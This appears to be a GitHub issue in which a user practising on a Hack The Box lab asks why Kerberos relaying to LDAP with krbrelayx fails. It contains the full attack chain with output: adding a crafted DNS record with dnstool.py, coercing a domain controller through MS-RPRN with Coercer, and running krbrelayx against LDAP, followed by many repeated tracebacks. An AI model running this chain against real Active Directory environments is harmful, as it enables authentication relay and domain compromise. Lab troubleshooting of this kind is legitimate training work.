Issue while relaying to LDAP

[NULLhere]

First of all, thanks for sharing with us your knowledge and this tool(:
I'm doing some lab on HTB and I wanted to learn more about this tool, so I started relaying to SMB, ADCS, LDAP. With SMB and ADCS everything works great, but LDAP gives me some errors. Can you please a look?

proxychains python3 dnstool.py -u 'dc02.dev.inlanefreight.ad\user' -p 'psw' -r "DC021UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" -d "10.10.14.218" --action add -t A 172.16.210.3 --tcp

[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[-] Connecting to host...
[-] Binding to host
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:389 ... OK
[+] Bind OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:53 ... OK
[-] Adding new record
[+] LDAP operation completed successfully

roxychains coercer coerce -u user -d dev.inlanefreight.ad -p 'psw' -t dev.inlanefreight.ad -l DC021UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA -v
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
______
/ / ___ _____________ _____
/ / / __ / _ / / / _ / /
/ // // / / / / // / / v2.4.3
_/_/__// _/_// by @Podalirius

[info] Starting coerce mode
[info] Scanning target dev.inlanefreight.ad
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:135 ... OK
[*] DCERPC portmapper discovered ports: 49664,49665,49666,49667,49669,49673,49676,49679,49691,49727
[+] Coercing 'dev.inlanefreight.ad' to authenticate to 'DC021UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA'
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:49679 ... OK
[+] DCERPC port '49679' is accessible!
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:49679 ... OK
[+] Successful bind to interface (12345678-1234-ABCD-EF00-0123456789AB, 1.0)!
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:49679 ... OK
[!] (NO_AUTH_RECEIVED) MS-RPRN──>RpcRemoteFindFirstPrinterChangeNotification(pszLocalMachine='\DC021UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA\x00')
Continue (C) | Skip this function (S) | Stop exploitation (X) ? C
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:49679 ... OK
[!] (NO_AUTH_RECEIVED) MS-RPRN──>RpcRemoteFindFirstPrinterChangeNotificationEx(pszLocalMachine='\DC021UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA\x00')
Continue (C) | Skip this function (S) | Stop exploitation (X) ? C
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:445 ... OK
[...]

proxychains python3 krbrelayx.py -debug --target ldap://dc02.dev.inlanefreight.ad
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/impacket/examples/ntlmrelayx/attacks/init.py:20: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
import pkg_resources
[] Protocol Client LDAPS loaded..
[] Protocol Client LDAP loaded..
[] Protocol Client SMB loaded..
[] Protocol Client HTTPS loaded..
[] Protocol Client HTTP loaded..
[] Running in attack mode to single host
[] Running in kerberos relay mode because no credentials were specified.
[] Setting up SMB Server

[] Setting up HTTP Server on port 80
[] Setting up DNS Server
[] Servers started, waiting for connections
[] SMBD: Received connection from 10.129.229.207
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:389 ... OK
[] SMBD: Received connection from 10.129.229.207
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:389 ... OK
[] SMBD: Received connection from 10.129.229.207
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:389 ... OK
[] SMBD: Received connection from 10.129.229.207
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:389 ... OK
[] SMBD: Received connection from 10.129.229.207
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:389 ... OK
[] SMBD: Received connection from 10.129.229.207
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:389 ... OK
[] SMBD: Received connection from 10.129.229.207
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:389 ... OK
[*] SMBD: Received connection from 10.129.229.207
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:389 ... OK
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
